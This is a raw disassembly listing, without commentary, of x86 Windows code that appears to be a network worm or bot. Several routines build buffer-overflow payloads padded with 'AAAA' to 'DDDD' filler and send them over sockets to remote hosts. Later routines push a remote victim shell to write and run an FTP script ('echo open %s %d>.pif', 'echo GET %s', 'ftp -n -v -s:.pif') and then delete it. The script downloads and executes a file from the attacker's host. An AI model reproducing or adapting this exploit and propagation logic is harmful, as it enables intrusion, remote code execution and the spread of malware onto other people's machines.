		mov	esi, [esp+18h+var_8]
		mov	eax, ecx
		lea	edi, [ebx+1]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, ebp
		call	sub_4016C2
		mov	ecx, [esp+18h+var_4]
		mov	[ebp+0], ebx
		inc	ecx
		mov	[ebp+4], ecx
		lea	ecx, [esp+18h+var_8]
		call	sub_4016C2
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 8
		retn
sub_4246D0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4247B0	proc near		; CODE XREF: sub_4012C6j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		mov	edx, [esi+4]
		mov	eax, [esi]
		push	ecx
		push	edx
		push	eax
		lea	ecx, [esp+1Ch+var_8]
		call	sub_4021F8
		mov	ecx, esi
		call	sub_4016C2
		mov	ecx, [esp+0Ch+var_8]
		mov	edx, [esp+0Ch+var_4]
		mov	[esi], ecx
		mov	[esi+4], edx
		mov	al, 1
		pop	esi
		add	esp, 8
		retn	8
sub_4247B0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424800	proc near		; CODE XREF: sub_402054j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	edx, ecx
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	esi
		mov	ecx, edx
		call	sub_4012C6
		pop	edi
		pop	esi
		retn	4
sub_424800	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424840	proc near		; CODE XREF: sub_401505j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	eax
		push	edx
		call	sub_4012C6
		retn	8
sub_424840	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424870	proc near		; CODE XREF: sub_4017D5j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		call	sub_4010A0
		test	al, al
		jnz	short loc_424884
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_424884:				; CODE XREF: sub_424870+Dj
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	eax
		push	ecx
		push	1
		push	offset dword_445C0C
		lea	ecx, [esp+1Ch+var_8]
		call	sub_4021F8
		mov	ecx, esi
		call	sub_4016C2
		mov	edx, [esp+0Ch+var_8]
		mov	eax, [esp+0Ch+var_4]
		mov	[esi], edx
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		add	esp, 8
		retn
sub_424870	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4248E0	proc near		; CODE XREF: sub_401EC9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401505
		test	al, al
		jnz	short loc_4248FC
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_4248FC:				; CODE XREF: sub_4248E0+16j
		mov	ecx, esi
		call	sub_4017D5
		pop	esi
		retn	8
sub_4248E0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424920	proc near		; CODE XREF: sub_401BFEj

var_858		= dword	ptr -858h
var_854		= dword	ptr -854h
var_850		= dword	ptr -850h
var_84C		= dword	ptr -84Ch
var_848		= dword	ptr -848h
var_844		= dword	ptr -844h
var_840		= dword	ptr -840h
var_83C		= dword	ptr -83Ch
var_838		= dword	ptr -838h
var_834		= dword	ptr -834h
var_830		= dword	ptr -830h
var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= dword	ptr -814h
var_810		= dword	ptr -810h
var_80C		= dword	ptr -80Ch
var_808		= dword	ptr -808h
var_804		= dword	ptr -804h
var_800		= byte ptr -800h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		sub	esp, 858h
		lea	ecx, [esp+858h+var_818]
		push	ebx
		push	esi
		call	sub_4012A8
		mov	esi, [esp+860h+arg_8]
		cmp	esi, 408h
		jg	loc_424CF5
		mov	ebx, [esp+860h+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, 408h
		ja	loc_424CF5
		push	edi
		lea	ecx, [esp+864h+var_830]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_840]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_810]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_848]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_820]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_828]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_838]
		call	sub_4012A8
		push	4
		push	offset dword_4458A8
		lea	ecx, [esp+86Ch+var_830]
		call	sub_4012C6
		push	3
		push	offset dword_4458B0
		lea	ecx, [esp+86Ch+var_830]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_830]
		call	sub_401B7C
		lea	ecx, [esp+864h+var_830]
		call	sub_4017D5
		mov	ecx, 200h
		mov	eax, 42424242h
		lea	edi, [esp+864h+var_800]
		push	8
		rep stosd
		push	offset aRbrbrbrb ; "BBBB"
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		mov	ecx, [esp+864h+arg_C]
		push	ebx
		push	ecx
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		mov	ebx, [esp+864h+var_83C]
		mov	edx, 409h
		sub	edx, ebx
		lea	eax, [esp+864h+var_800]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_840]
		call	sub_401B7C
		push	offset loc_445C30
		lea	ecx, [esp+868h+var_810]
		call	sub_402054
		lea	ecx, [esp+864h+var_810]
		call	sub_401B7C
		mov	ecx, 200h
		mov	eax, 44444444h
		lea	edi, [esp+864h+var_800]
		push	410h
		rep stosd
		lea	ecx, [esp+868h+var_800]
		push	ecx
		lea	ecx, [esp+86Ch+var_808]
		call	sub_401843
		lea	ecx, [esp+864h+var_808]
		call	sub_401B7C
		mov	edx, [esp+864h+var_804]
		mov	eax, [esp+864h+var_808]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_810]
		call	sub_401EC9
		lea	ecx, [esp+864h+var_808]
		call	sub_4016C2
		mov	ecx, 200h
		mov	eax, 43434343h
		lea	edi, [esp+864h+var_800]
		push	offset aCccc	; "CCCC"
		rep stosd
		lea	ecx, [esp+868h+var_848]
		call	sub_402054
		push	4
		push	offset dword_4458B4
		lea	ecx, [esp+86Ch+var_848]
		call	sub_4012C6
		mov	ecx, [esp+864h+arg_4]
		push	esi
		push	ecx
		lea	ecx, [esp+86Ch+var_848]
		call	sub_4012C6
		mov	edx, 408h
		lea	eax, [esp+864h+var_800]
		sub	edx, esi
		lea	ecx, [esp+864h+var_848]
		push	edx
		push	eax
		call	sub_4012C6
		lea	ecx, [esp+864h+var_848]
		call	sub_401B7C
		mov	ecx, [esp+864h+var_844]
		mov	edx, [esp+864h+var_848]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_820]
		call	sub_401505
		mov	eax, [esp+864h+var_80C]
		mov	ecx, [esp+864h+var_810]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_820]
		call	sub_401505
		lea	ecx, [esp+864h+var_820]
		call	sub_4017D5
		lea	ecx, [esp+864h+var_848]
		call	sub_4016C2
		lea	ecx, [esp+864h+var_810]
		call	sub_4016C2
		mov	edx, [esp+864h+var_83C]
		mov	eax, [esp+864h+var_840]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_828]
		call	sub_401505
		mov	ecx, [esp+864h+var_82C]
		mov	edx, [esp+864h+var_830]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_828]
		call	sub_401505
		mov	eax, [esp+864h+var_81C]
		mov	ecx, [esp+864h+var_820]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_828]
		call	sub_401505
		lea	ecx, [esp+864h+var_828]
		call	sub_4017D5
		lea	ecx, [esp+864h+var_840]
		call	sub_4016C2
		lea	ecx, [esp+864h+var_830]
		call	sub_4016C2
		lea	ecx, [esp+864h+var_820]
		call	sub_4016C2
		mov	ecx, 200h
		mov	eax, 41414141h
		lea	edi, [esp+864h+var_800]
		lea	edx, [esp+864h+var_800]
		rep stosd
		push	400h
		push	edx
		lea	ecx, [esp+86Ch+var_838]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_838]
		call	sub_401B7C
		push	2
		push	offset dword_445C24
		lea	ecx, [esp+86Ch+var_838]
		call	sub_4012C6
		mov	eax, [esp+864h+var_824]
		mov	ecx, [esp+864h+var_828]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_838]
		call	sub_401505
		lea	ecx, [esp+864h+var_838]
		call	sub_4017D5
		lea	ecx, [esp+864h+var_828]
		call	sub_4016C2
		lea	ecx, [esp+864h+var_850]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_858]
		call	sub_4012A8
		mov	edx, [esp+864h+var_834]
		mov	eax, [esp+864h+var_838]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_850]
		call	sub_401505
		lea	ecx, [esp+864h+var_850]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_838]
		call	sub_4016C2
		push	offset dword_445C20
		lea	ecx, [esp+868h+var_858]
		call	sub_402054
		mov	ecx, [esp+864h+var_84C]
		mov	edx, [esp+864h+var_850]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_858]
		call	sub_401505
		lea	ecx, [esp+864h+var_858]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_850]
		call	sub_4016C2
		push	offset dword_444E68
		lea	ecx, [esp+868h+var_850]
		call	sub_402054
		mov	eax, [esp+864h+var_854]
		mov	ecx, [esp+864h+var_858]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_850]
		call	sub_401505
		lea	ecx, [esp+864h+var_850]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_858]
		call	sub_4016C2
		push	offset dword_445C14
		lea	ecx, [esp+868h+var_858]
		call	sub_402054
		mov	edx, [esp+864h+var_84C]
		mov	eax, [esp+864h+var_850]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_858]
		call	sub_401505
		lea	ecx, [esp+864h+var_858]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_850]
		call	sub_4016C2
		push	offset dword_445C10
		lea	ecx, [esp+868h+var_818]
		call	sub_402054
		mov	ecx, [esp+864h+var_854]
		mov	edx, [esp+864h+var_858]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_818]
		call	sub_401505
		lea	ecx, [esp+864h+var_858]
		call	sub_4016C2
		mov	eax, [esp+864h+arg_0]
		mov	ecx, [esp+864h+var_818]
		mov	edx, [esp+864h+var_814]
		pop	edi
		mov	[eax], ecx
		pop	esi
		mov	[eax+4], edx
		pop	ebx
		add	esp, 858h
		retn
; ---------------------------------------------------------------------------


loc_424CF5:				; CODE XREF: sub_424920+1Ej
					; sub_424920+33j
		mov	eax, [esp+860h+arg_0]
		mov	ecx, [esp+860h+var_818]
		mov	edx, [esp+860h+var_814]
		pop	esi
		mov	[eax], ecx
		mov	[eax+4], edx
		pop	ebx
		add	esp, 858h
		retn
sub_424920	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424E20	proc near		; CODE XREF: sub_401AC8j

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 210h
		push	esi
		mov	esi, [esp+214h+arg_0]
		lea	eax, [esp+214h+var_210]
		lea	ecx, [esp+214h+var_104]
		push	eax
		push	ecx
		lea	edx, [esp+21Ch+var_208]
		push	0
		lea	eax, [esi+1]
		push	edx
		push	eax
		mov	[esp+228h+var_204], esi
		mov	[esp+228h+var_208], 1
		mov	[esp+228h+var_100], esi
		mov	[esp+228h+var_104], 1
		mov	[esp+228h+var_210], 0Ah
		mov	[esp+228h+var_20C], 0
		call	near ptr 71AB2DC0h
		nop
		cmp	eax, 1
		jz	short loc_424E89
		xor	eax, eax
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------


loc_424E89:				; CODE XREF: sub_424E20+5Dj
		lea	ecx, [esp+214h+var_208]
		push	ecx
		push	esi
		call	sub_438256
sub_424E20	endp

; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_424EA0
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------


loc_424EA0:				; CODE XREF: ___:00424E96j
		mov	edx, [esp+224h]
		mov	eax, [esp+220h]
		mov	ecx, [esp+21Ch]
		push	edx
		push	eax
		push	ecx
		push	esi
		nop
		call	near ptr 71AB615Ah
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424F00	proc near		; CODE XREF: sub_4012F3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_8]
		push	edi
		push	esi
		call	near ptr 71AB2BC0h
		nop
		mov	edi, [esp+0Ch+arg_0]
		mov	ebx, dword_511CA0
		mov	[esp+0Ch+arg_8], eax
		push	0
		lea	eax, [esp+10h+arg_8]
		push	4
		push	eax
		push	edi
		call	ebx
		cmp	eax, 4
		jz	short loc_424F33
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424F33:				; CODE XREF: sub_424F00+2Bj
		mov	ecx, [esp+0Ch+arg_4]
		push	0
		push	esi
		push	ecx
		push	edi
		call	ebx
		xor	edx, edx
		cmp	eax, esi
		setz	dl
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		retn
sub_424F00	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424F70	proc near		; CODE XREF: sub_4012F8j

var_104		= dword	ptr -104h
var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 104h
		push	ebx
		push	ebp
		mov	ebp, [esp+10Ch+arg_8]
		push	esi
		lea	esi, [ebp+41h]
		push	esi
		mov	[esp+114h+var_104], esi
		nop
		call	near ptr 77C2C407h
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_424FA3
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_424FA3:				; CODE XREF: sub_424F70+25j
		mov	ecx, esi
		push	edi
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebx
		mov	esi, offset dword_445944
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	85h
		and	ecx, 3
		push	offset dword_4458BC
		rep stosb
		mov	ecx, 0Bh
		mov	edi, ebx
		rep movsd
		movsw
		movsb
		mov	[ebx+2Fh], bp
		mov	eax, dword_445974
		mov	[ebx+31h], eax
		mov	ecx, dword_445978
		mov	esi, [esp+11Ch+arg_4]
		mov	[ebx+35h], ecx
		mov	ecx, ebp
		lea	eax, [ebx+3Bh]
		mov	edx, ecx
		mov	edi, eax
		shr	ecx, 2
		mov	[ebx+39h], bp
		add	eax, ebp
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	ecx, dword_510100
		mov	esi, [esp+11Ch+arg_0]
		mov	[eax], ecx
		mov	dx, word_510104
		push	esi
		mov	[eax+4], dx
		call	sub_4012F3
		add	esp, 0Ch
		test	al, al
		pop	edi
		jnz	short loc_425048
		push	ebx
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		xor	al, al
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_425048:				; CODE XREF: sub_424F70+C0j
		push	0
		lea	eax, [esp+114h+var_100]
		push	100h
		push	eax
		push	esi
		call	sub_401AC8
		mov	ecx, [esp+120h+var_104]
		push	ecx
		push	ebx
		push	esi
		call	sub_4012F3
		add	esp, 1Ch
		test	al, al
		jnz	short loc_425083
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	al, al
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_425083:				; CODE XREF: sub_424F70+FBj
		push	0
		lea	edx, [esp+114h+var_100]
		push	100h
		push	edx
		push	esi
		call	sub_401AC8
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 14h
		mov	al, 1
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
sub_424F70	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425100	proc near		; CODE XREF: sub_401820j

var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= word ptr -418h
var_416		= dword	ptr -416h
var_412		= dword	ptr -412h
var_40E		= dword	ptr -40Eh
var_40A		= word ptr -40Ah
var_408		= dword	ptr -408h
var_400		= byte ptr -400h
var_3FF		= byte ptr -3FFh
var_371		= byte ptr -371h
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_9E		= dword	ptr  0A2h

		sub	esp, 420h
		push	ebp
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [esp+42Ch+var_3FF]
		rep stosd
		stosw
		stosb
		mov	ecx, 23h
		mov	esi, offset sub_445AE8
		lea	edi, [esp+42Ch+var_400]
		rep movsd
		movsw
		mov	ecx, offset byte_449511
		movsb
		call	sub_4017EE
		push	eax
		mov	ecx, offset byte_449511
		call	sub_4017EE
		mov	ecx, [esp+430h+arg_0]
		push	eax
		mov	eax, dword_44964F
		push	eax
		push	ecx
		call	sub_401E10
		add	esp, 4
		lea	edx, [esp+438h+var_371]
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
		push	400h
		push	edx
		nop
		call	near ptr 77C3FA76h
		add	eax, 90h
		lea	ecx, [esp+448h+var_408]
		push	eax
		lea	eax, [esp+44Ch+var_400]
		push	eax
		push	164h
		push	offset sub_445980
		push	ecx
		call	sub_401BFE
		mov	edx, [eax]
		xor	edi, edi
		mov	[esp+45Ch+var_420], edx
		add	esp, 30h
		mov	eax, [eax+4]
		cmp	eax, edi
		mov	[esp+42Ch+var_41C], eax
		jnz	short loc_4251B2
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 420h
		retn
; ---------------------------------------------------------------------------


loc_4251B2:				; CODE XREF: sub_425100+A4j
		mov	ebp, dword_511C38
		mov	[esp+42Ch+var_408], edi


loc_4251BC:				; CODE XREF: sub_425100+161j
		test	edi, edi
		jnz	loc_425267
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42524A
		mov	ecx, [esp+42Ch+arg_9E]
		xor	eax, eax
		mov	[esp+42Ch+var_416], eax
		push	ecx
		mov	[esp+430h+var_412], eax
		mov	[esp+430h+var_418], 2
		mov	[esp+430h+var_40E], eax
		mov	[esp+430h+var_40A], ax
		call	ebp
		lea	edx, [esp+42Ch+arg_4]
		mov	word ptr [esp+42Ch+var_416], ax
		push	edx
		nop
		call	near ptr 71AB2BF4h
		mov	[esp+42Ch+var_416+2], eax
		lea	eax, [esp+42Ch+var_418]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42523F
		mov	ecx, [esp+42Ch+var_41C]
		mov	edx, [esp+42Ch+var_420]
		push	ecx
		push	edx
		push	esi
		call	sub_4012F8
		add	esp, 0Ch
		and	eax, 0FFh
		mov	edi, eax


loc_42523F:				; CODE XREF: sub_425100+123j
		push	esi
		call	near ptr 71AB9639h
		nop
		test	edi, edi
		jnz	short loc_425255


loc_42524A:				; CODE XREF: sub_425100+D5j
		push	3E8h
		call	near ptr 284020Fh
		nop


loc_425255:				; CODE XREF: sub_425100+148j
		mov	eax, [esp+42Ch+var_408]
		inc	eax
		cmp	eax, 2
		mov	[esp+42Ch+var_408], eax
		jl	loc_4251BC


loc_425267:				; CODE XREF: sub_425100+BEj
		lea	ecx, [esp+42Ch+var_420]
		call	sub_4016C2
		test	edi, edi
		jz	short loc_425297
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+4E8h+arg_0]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_40114F
		add	esp, 0BCh


loc_425297:				; CODE XREF: sub_425100+172j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebp
		add	esp, 420h
		retn
sub_425100	endp

; ---------------------------------------------------------------------------
aRrrrrrrrrr	db ''
		db '',1Bh,0
		align 4
		dd 90909000h, 2	dup(90909090h),	4 dup(0CCCCCCCCh), 0BB8068h
		dd 2EE06800h, 77E80000h, 83FFFDCEh, 8A308C4h, 0C3005101h
		dd 2 dup(90909090h), 4 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_425370	proc near		; CODE XREF: sub_4013D4j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		push	0C8h
		nop
		call	near ptr 284020Fh
		mov	edx, [esp+4+arg_4]
		or	ecx, 0FFFFFFFFh
		mov	edi, edx
		xor	eax, eax
		repne scasb
		mov	eax, [esp+4+arg_0]
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		cmp	eax, 0FFFFFFFFh
		pop	edi
		setnz	al
		retn
sub_425370	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4253C0	proc near		; CODE XREF: sub_4013BBj

var_434		= byte ptr -434h
var_41C		= dword	ptr -41Ch
var_418		= dword	ptr -418h
var_414		= dword	ptr -414h
var_410		= dword	ptr -410h
var_40C		= byte ptr -40Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4253C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 428h
		xor	eax, eax
		push	ebx
		mov	[esp+438h+var_41C], eax
		push	esi
		mov	[esp+43Ch+var_418], eax
		lea	ecx, [esp+43Ch+arg_4]
		push	edi
		mov	[esp+440h+var_414], eax
		push	ecx
		mov	[esp+444h+var_410], eax
		mov	word ptr [esp+444h+var_41C], 2
		nop
		call	near ptr 71AB2BF4h
		mov	dx, word_510108
		mov	[esp+440h+var_418], eax
		push	edx
		nop
		call	near ptr 71AB2B66h
		push	0
		push	1
		push	2
		mov	word ptr [esp+44Ch+var_41C+2], ax
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		or	ebx, 0FFFFFFFFh
		cmp	esi, ebx
		jz	loc_4256BE
		lea	eax, [esp+440h+var_41C]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, ebx
		jz	loc_4256BE
		mov	edi, dword_511CA4
		push	0
		lea	ecx, [esp+444h+var_40C]
		push	400h
		push	ecx
		push	esi
		call	edi
		lea	ecx, [esp+440h+var_434]
		call	sub_40142E
		mov	edx, dword_44964F
		mov	eax, [esp+440h+arg_0]
		push	edx
		push	eax
		mov	[esp+448h+var_4], 0
		call	sub_401E10
		add	esp, 4
		lea	ecx, [esp+444h+var_434]
		push	eax
		push	offset aEchoOpenSD_pif ; "echo open %s %d>.pif \r\n"
		push	ecx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	edx, [esp+440h+var_434]
		push	offset aEchoUserAA_pif ; "echo user a a>>.pif \r\n"
		push	edx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	eax, [esp+440h+var_434]
		push	offset aEchoBinary_pif ; "echo binary>>.pif \r\n"
		push	eax
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		mov	ecx, offset byte_449511
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+444h+var_434]
		push	offset aEchoGetS_pif ; "echo GET %s>>.pif \r\n"
		push	ecx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	edx, [esp+440h+var_434]
		push	offset aEchoBye_pif ; "echo bye>>.pif \r\n"
		push	edx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	eax, [esp+440h+var_434]
		push	offset aEcho@echoOffC_ ; "echo @echo off >c.bat\r\n"
		push	eax
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	ecx, [esp+440h+var_434]
		push	offset aEchoFtpNVS_pif ; "echo ftp -n -v -s:.pif >>c.bat\r\n"
		push	ecx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		mov	ecx, offset byte_449511
		call	sub_4017EE
		push	eax
		lea	edx, [esp+444h+var_434]
		push	offset aEchoSC_bat ; "echo %s >>c.bat\r\n"
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	eax, [esp+440h+var_434]
		push	offset aEchoDel_pifC_b ; "echo del .pif	>>c.bat\r\n"
		push	eax
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	short loc_4256AE
		lea	ecx, [esp+440h+var_434]
		push	offset aEchoDelFC_batC ; "echo del /F c.bat >>c.bat\r\n"
		push	ecx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	short loc_4256AE
		lea	edx, [esp+440h+var_434]
		push	offset aEchoExitYC_bat ; "echo exit /y >>c.bat\r\n"
		push	edx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	short loc_4256AE
		lea	eax, [esp+440h+var_434]
		push	offset dword_4467AC
		push	eax
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jnz	short loc_4256C2


loc_4256AE:				; CODE XREF: sub_4253C0+F3j
					; sub_4253C0+120j ...
		lea	ecx, [esp+440h+var_434]
		mov	[esp+440h+var_4], ebx
		call	sub_401226


loc_4256BE:				; CODE XREF: sub_4253C0+6Fj
					; sub_4253C0+85j
		xor	al, al
		jmp	short loc_4256EA
; ---------------------------------------------------------------------------


loc_4256C2:				; CODE XREF: sub_4253C0+2ECj
		push	0
		lea	ecx, [esp+444h+var_40C]
		push	400h
		push	ecx
		push	esi
		call	edi
		push	esi
		call	near ptr 71AB9639h
		nop
		lea	ecx, [esp+440h+var_434]
		mov	[esp+440h+var_4], ebx
		call	sub_401226
		mov	al, 1


loc_4256EA:				; CODE XREF: sub_4253C0+300j
		mov	ecx, [esp+440h+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 434h
		retn
sub_4253C0	endp

; ---------------------------------------------------------------------------
